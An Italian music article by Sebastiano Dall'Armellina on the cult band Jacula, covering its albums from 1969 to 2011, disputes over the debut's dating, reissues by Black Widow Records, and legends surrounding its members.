Il culto di Jacula: fra Prog, Dark Sound e Doom Metal

Il culto di Jacula: fra Prog, Dark Sound e Doom Metal

Il culto di Jacula: fra Prog, Dark Sound e Doom Metal

 

La band Jacula, il cui nome trae origine da un ben noto ed omonimo fumetto horror – erotico degli anni ’70 (edito da ErreGi / Edifumetto), è una creatura musicale fondata ex novo da Antonio Bartoccetti, di seguito meglio noto come membro fondatore degli Antonius Rex. Ad affiancarlo in quest’avventura, altri tre personaggi: in prima istanza troviamo la misteriosa Fiamma Dello Spirito, nome d’arte attorno al quale sorsero alcune diatribe, visto che (ufficialmente) tale moniker venne attribuito a Doris Norton, compagna, moglie e collaboratrice di Bartocetti; al contempo, però – e diverse fonti sono concordi al riguardo – si passò ad identificare tale personaggio nella figura di Vittoria Lo Turco, astro nascente della musica italiana di quel periodo, la quale aveva già esordito nel mercato musicale sotto il moniker “Fiamma”. A seguire si aggiungono Charles Tiring ed il medium Franz Patherzy; quest’ultimo fu per Bartocetti una figura di importanza fondamentale, in quegli anni una sorta di sua personalissima guida spirituale. Una band, gli Jacula, che nonostante uno scarso successo commerciale ed un’attività discografica a dir poco rarefatta ha lasciato un segno importante nel panorama musicale in senso lato, con almeno due lavori a dir poco seminali (In Cauda Semper Stat Venenum del 1969 e Tardo Pede In Magiam Versus, rilasciato nel 1972), importanti anticipatori di certi generi musicali nati diversi anni dopo. Tra l’altro, vista la scarsa reperibilità delle stampe originali (ad oggi praticamente introvabili) e delle poche informazioni reperibili dalla rete, alcuni hanno anche – soprattutto negli ultimi tempi – avanzato delle accuse di “falso storico” nei confronti dell’esordio, giudicato invece assai postumo rispetto alla data d’uscita. Insomma, un gruppo carico di fascino e mistero, sfuggente ed assai ammantato dall’oscuro alone magico su di esso lanciato dal carismatico e sfuggente Antonio Bartoccetti.  Nel corso di questo excursus troveranno spazio non solo discorsi circa i lavori musicali della band, ma anche alcuni aneddoti e miti che da sempre aleggiano intorno a questo gruppo letteralmente di culto, oltre a degli accenni ad altri progetti musicali ai quali i vari componenti hanno preso parte.

Genere:
Progressive Rock
Dark Sound
Musicale Rituale

Anno di fondazione:
1969 – 1972
2009 – Ancora in attività

 

Gli Jacula nascono in Italia nel 1969, un anno molto importante per il Progressive, visto che l’esordio dei King Crimson (In The Court Of The Crimson King) rappresenta a tutti gli effetti “l’anno 0” di questo importante genere musicale. Dall’Italia i Nostri volano in Inghilterra – in quel periodo un vero e proprio vulcano, in ambito musicale – e lì Incidono il debutto In Cauda Semper Stat Venenum, licenziato dalla misteriosa (e sconosciuta) “Gnome Records”. L’album venne prodotto in 299 copie (più 10 a scopo promozionale) ed una parte di esse venne consegnata a diverse sette religiose, visto il carattere assai “rituale” della musica proposta. Proprio per questo fatto e per la tiratura estremamente limitata di questo 33 giri – i più maligni sostengono che non sono recuperabili in alcun modo perché inesistenti – hanno fatto avanzare ad alcuni l’accusa di falso storico. Il lavoro quindi ebbe una certa diffusione, negli anni seguenti , tramite cassette duplicate e circolanti all’interno di varie nicchie, facendo arrivare a ben poche persone il nome della band. Un esiguo passaparola che comunque servì a cementificare la fama di “occulti” degli Jacula, persi nei loro rituali e nelle loro pratiche mistico/magiche Il disco venne poi ristampato nel 2001 dalla nostrana Black Widow Records: il lavoro di ristampa, però, si spingeva assai oltre l’archetipo, andando a remixare completamente l’intero capitolo discografico con l’aiuto di Doris Norton. Non uno stravolgimento ma delle aggiunte considerevoli, più una cura invidiabile di tutti i dettagli; così facendo, i Nostri non fecero altro che rinfocolare le accuse circa l’effettiva data di lancio di In Cauda.., giudicato troppo avanguardistico per il 1969 e quindi pensato assorbendo suggestioni musicali assai più “datate”, dalle quali trarre ispirazione. Dopo questi aneddoti, possiamo accingerci a parlare della musica contenuta in questo disco, giustamente definito da parte della critica una vera e propria pietra miliare. L’intero platter è dominato per quasi tutto il tempo dall’ottimo lavoro svolto dietro all’organo da chiesa, suonato da un ispiratissimo Charles Tiring. Con le sue melodie tetre e plumbee, il Nostro dona infatti un’atmosfera a dir poco opprimente al disco, rendendolo le sue note un sottofondo misterioso e dai tratti sacrali. In linea di massima si tratta di un ascolto mistico e rituale, nel quale in un singolo episodio la band si lancia anche in alcuni virtuosismi (azzeccati per nostra fortuna, se prendiamo ad esempio Triumphatus Sad); ben inseriti in quest’atmosfera (pesante da digerire per chi non è amante del Dark Sound) vi sono inoltre alcuni spiragli gotici (presenti in Initiatio) che però non si allontanano troppo da quelle che sono le coordinate stilistiche a 360° di tutto In Caudam. Le punte Rock sono sottolineate dalla chitarra di Antonio Bartocetti, che fa capolino in maniera dirompente solo a tratti nel disco tutto. In sporadici episodi, egli accompagna la musica con riffs e passaggi massici, tremendamente oscuri, oltre a dialogare – nella già citata Triumphatus Sad – con l’organo, sfociando poi in un buon solismo, dimostrando una certa maestria nel suo operato. Bartocetti si prodiga inoltre come cantante, anche se sarebbe meglio definirlo come un semplice narratore/oratore, visto il fare poetico e funereo con il quale espone le liriche. Scritte, queste ultime, con l’aiuto del medium grazie all’esperienza di alcune sedute spiritiche. Liriche tra l’altro difficilmente interpretabili, se non del tutto incomprensibili, capaci però di aumentare la morbosità che aleggia attorno ad ogni brano, caricando il tutto di un fascino già di per se stesso intrinseco. Le percussioni sono ridotte ai minimi termini, con uno sporadico uso di timpani (ed il loro utilizzo non è mai a fini puramente ritmici) atti a sottolineare – e ad estremizzare – alcuni dei passaggi più impenetrabili ed oscuri del disco. Un pianoforte presente in un paio di song, alcuni canti e sospiri femminili, rumori di corvi ed un vento gelido (quest’ultimo ben capace di punteggiare alcuni passaggi) rendono poi l’atmosfera ancora più inquietante di quanto non sia già. In Cauda Semper Stat venenum è tutto questo ma anche di più: un’opera da ascoltare in religioso silenzio e che di fatto ha ispirato ed anticipato il Doom Metal. Addirittura, per una parte di critica, essa può addirittura essere considerata come un “Funeral Doom Ante-litteram” per via di certe caratteristiche stilistiche nel sound proposto. Un lavoro che dimostra una personalità unica e fascinosa al suo interno, eccellenza non solo del panorama musicale nazionale, ma anche mondiale.

Passano tre anni e si arriva al 1972, probabilmente l’anno d’oro del Progressive Rock italiano: il secondo lavoro della band evolve lo stile ma si distacca anche dal loro esordio, andando ad eliminare completamente ogni rimasuglio rock della proposta. “Tardo Pede In Mangiam Versus” si dimostra essere un disco ancora più sperimentale ed estremo del precedente, sulla cui datazione non abbiamo dubbio alcuno. A differenza di In Caudam.., infatti, abbiamo non poche attestazioni dell’esistenza settantiana di questo platter: stando alla documentazione dell’epoca, possiamo affermare che Tardo Pede.. parrebbe sicuramente licenziato nell’anno indicato. Una sua recensione è infatti presente nel numero 94 del fumetto “Jacula”, intitolato “Dov’è il Morto?” e pubblicato il 25 Ottobre del 1972. Verso le pagine finali dell’albo, è difatti presente questa generosa dissertazione più indicazioni varie su come acquistare il 33 giri per corrispondenza (3.630 lire da versare, tramite vaglia postale, alla casa editrice “R.G.”). Come nel precedente ICSSV l’organo a canne di Charles Tiring risulta l’assoluto protagonista; lo strumento che più di tutti sorregge e ricama le litanie proposte dagli Jacula. L’atmosfera, come se fosse il caso di specificarlo è sempre plumbea ed oscura, tetra ed esoterica, con passaggi molto criptici. Nei quali, per compensare la perdita dell’ingrediente Rock e delle percussioni vengono apposte delle gradite aggiunte, a livello di sound ma pure tematico. Sebbene da una parte la chitarra ruvida e graffiante di Bartocetti venga completamente depennata da questo platter (elemento, questo, che può far storcere il naso ad alcuni amanti dell’esordio), dall’altra il sound ne guadagna nello sviluppo della componente prog e ritualistica, oltre ad avere una maggiore varietà stilistica grazie all’uso di nuovi elementi come il flauto ed il violino, che in certi episodi “rinfrescano” il tutto donando maggior poliedricità grazie a passaggi un po’ meno estremi ed oscuri. Il disco parte con U.F.E.D.M., brano apocalittico con alla sua base un forte impegno di carattere ecologista. Cantato in italiano (e molto debitore nei riguardi della Patti Pravo più giovanile), già da questo si notano le prime differenze con l’esordio. Interessante il fatto che a suo tempo il brano non venne passato sugli schermi RAI per paura che il testo (molto profondo e ricco di significato) potesse provocare problemi alla crescente e galoppante industrializzazione italiana. Ahimè, quello di U.F.E.D.M. è infatti un testo sempre attuale, oggi più che allora, forse per il suo forte impegno ecologista, elevato grazie all’uso dell’idioma italico come già detto poc’anzi.

La “sacralità” intrinseca di questo brano è molto forte, e viene affiancata dai nuovi elementi dello “Jacula sound” che rendono questo uno degli episodi più apocalittici degli anni ’70 (e non solo). Il disco continua poi con Praesentia Domini, nella quale si ritorna alle litanie oscure dell’esordio ma ancora più estremizzate, questo grazie alla sua atmosfera oscura e nel suo climax ascendente finale, pieno di terrore e di disperazione, nel quale le vocals femminili vengono affiancate a quelle maschili. Posate su di una base interamente dominata dal solito – ottimo – lavoro di Tiring con l’organo a canne. In tutto ciò gli Jacula dimostrano non solo di aver sviluppato una certa maturità sonora, ma anche di esser riusciti a rendere impenetrabile il loro sostanziale sound, irraggiungibile per quasi tutti gli ascoltatori. Questo anche oggigiorno, figuriamoci quindi all’epoca della pubblicazione del disco, in un’Italia che in ambito progressive era abituata a ben altre sonorità. Jacula Valzer dà un altro cambio di rotta, con un valzer vagamente prog ed esoterico, con la suadente voce femminile di sottofondo e l’ottimo uso del flauto da parte di Fiamma Dello Spirito. Un episodio più leggero delle prime due song ed anche molto meno oscuro ed estremo. Long Black Magic Night presenta l’uso della lingua inglese nelle sue liriche, con una pronuncia non certamente impeccabile da parte sempre di Fiamma. Anche qui il flauto viene usato in modo molto intelligente, ed un violino triste e decadente fa capolino, andando a punteggiare l’atmosfera del suddetto brano, che prosegue sulla scia del precedente, rilassando e facendo riposare l’ascoltatore. In Old Castle invece sembra proseguire il solco tracciato dalla ending della precedente fatica, con l’organo dominante ed un’atmosfera tetra e oscura che va ad aumentare via via sempre di più fino alla fine, con pennellate esoteriche che rendono il brano di difficile ascolto per chi non è avvezzo a certe sonorità. Anche questo lavoro fu stampato in poche copie e nel 2007, in occasione del 35esimo anniversario della pubblicazione, la “Black Widow Records” decise di riproporlo. Come per il predecessore, nell’opera di ristampa godette di sound abbastanza rimaneggiato, andando a migliorare/modificare il missaggio e ad aggiungere alcuni effetti in Long Black Magic Night. Infine, è da ricordare l’uso di una cover differente e l’aggiunta di una bonus track scritta nel 1973, la quale racconta un episodio spiacevole, un tiro mancino giocato dall’organista Tiring a danno della giovane band. Alla fine del ’72, con un unico concerto all’attivo (svoltosi a Milano davanti ad un pubblico di 45 persone, al Teatro dell’Arte) la band si scioglie. Dalle sue ceneri nascerà come un’araba fenice (e più forte di prima) la band a nome Antonius Rex, ma questa è un’altra storia. Dal racconto dell’esibizione nelle varie interviste emerge sempre una grande soddisfazione da parte di Bartocetti, visto che il prezzo del biglietto si aggirava attorno alle 50.000 lire (grossa somma, per l’epoca, specie se moltiplicata per quarantacinque). Nel corso degli anni, attorno al duo Jacula/Antonius Rex, nacquero diverse “leggende metropolitane”: una di esse (narrata in “Absolution“, bonus track della ristampa di Tardo Pede In Mangiam Versus) narra il fatto che Charles Tiring si appropriò in maniera illecita del master originale della futura bonus track. Un’altra voce, invece, ci comunica che sempre Charles Tiring non solo portò una monaca diciottenne sui sentieri dell’occulto, ma la sposò in una chiesa sconsacrata e nel 1979 scomparve nel nulla, non lasciando più sue notizie da allora. Un’altra leggenda fluttuante attorno ai membri di tali band riguarda un loro soggiorno in Transilvania (terra di Vlad Tepes, conosciuto come Dracula l’impalatore) che si prolungò di qualche mese per via del furto – e della rivendita – dei passaporti di Bartocetti e compagni. Intanto, dopo la dipartita degli Antonius Rex, nell’80 Doris Norton cominciò la sua carriera solista e fu tra le anticipatrici della techno in Italia; Bartocetti dal canto suo riesumò il nome Antonius Rex per alcune pubblicazioni minori sparse e negli anni ’90 Rexanthony, figlio della coppia Bartocetti/Norton esordì come Dj. Dopo diversi anni di inattività, nei primi anni 2000 la Black Widow Records ristampò il catalogo degli Jacula e dei vari progetti annessi (compresi i dischi solisti della Norton). Dalla seconda metà del 2000 ritornano in campo i due progetti musicali di Bartocetti e tra ristampe, raccolte, Dvd – diretto tutto da Doris Norton – e una biografia ufficiale (Magister dixit – La leggenda di Jacula e Antonius Rex) gli Antonius Rex e gli Jacula riescono a pubblicare addirittura alcuni lavori di inediti.

Per quanto riguarda gli Jacula, il terzo album in studio esce nel 2011 e si intitola Pre Viam: con l’ingresso di Rexanthony al posto della madre, il sound subisce un netto ammodernamento, andando su sonorità sia più pesanti, sia più elettroniche che moderne. Abbiamo sempre un disco dalle sonorità tetre e lisergiche, affiancate però da un sound al passo con i tempi: non vi è più l’organo a canne, violino e flauto vengono anch’essi accantonati in questa nuova svolta stilistica nella quale i sintetizzatori e le chitarre la fanno da padroni, insieme a qualche frase recitata e ad alcuni effetti sonori atti rendere il tutto più inquietante e drammatico. Gli Jacula (divenuti un duo) del 2011 realizzano quindi un concept album che narra la visione della donna da parte di Bartocetti. A suo dire, per la maggior parte esse sono purtroppo destinate a subire violenze fisico-psichiche, andando via via ad impazzire, fino ad arrivare al drammatico finale di Possaction, la quale sarà rieditata nella versione completa dagli Antonius Rex. In questo brano, la band compie una sorta di marcia rituale, in cui sovra incide le urla di Sandra B., ragazza posseduta dal demonio, delirante nel bel mezzo di un esorcismo. Il sound di Pre Viam, molto triste più che oscuro in senso stretto, è inoltre ricco di partiture goticheggianti, con tanto di spunti ambient ed un elemento hard rock che di tanto in tanto si fa vivo; il tutto viene miscelato ad un certo gusto prog (per certi versi ispirato al krautrock per via di un determinato uso dei sintetizzatori), elementi che rendono questo platter un disco assai godibile, ben lontano dalla qualità dei due dischi precedenti (e per ovvie ragioni non è seminale come essi) ma ben lontano anche dalle cocenti delusioni di molti ritorni di fiamma avvenuti nei vari anni. Inoltre, l’uso del pianoforte e del moog in determinate sezioni conferisce poi una certa leggerezza alle melodie, le quali contrastano quindi con alcuni passaggi più pesanti ed oscuri.


WEB
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Sebastiano Dall'Armellina

sebastiano

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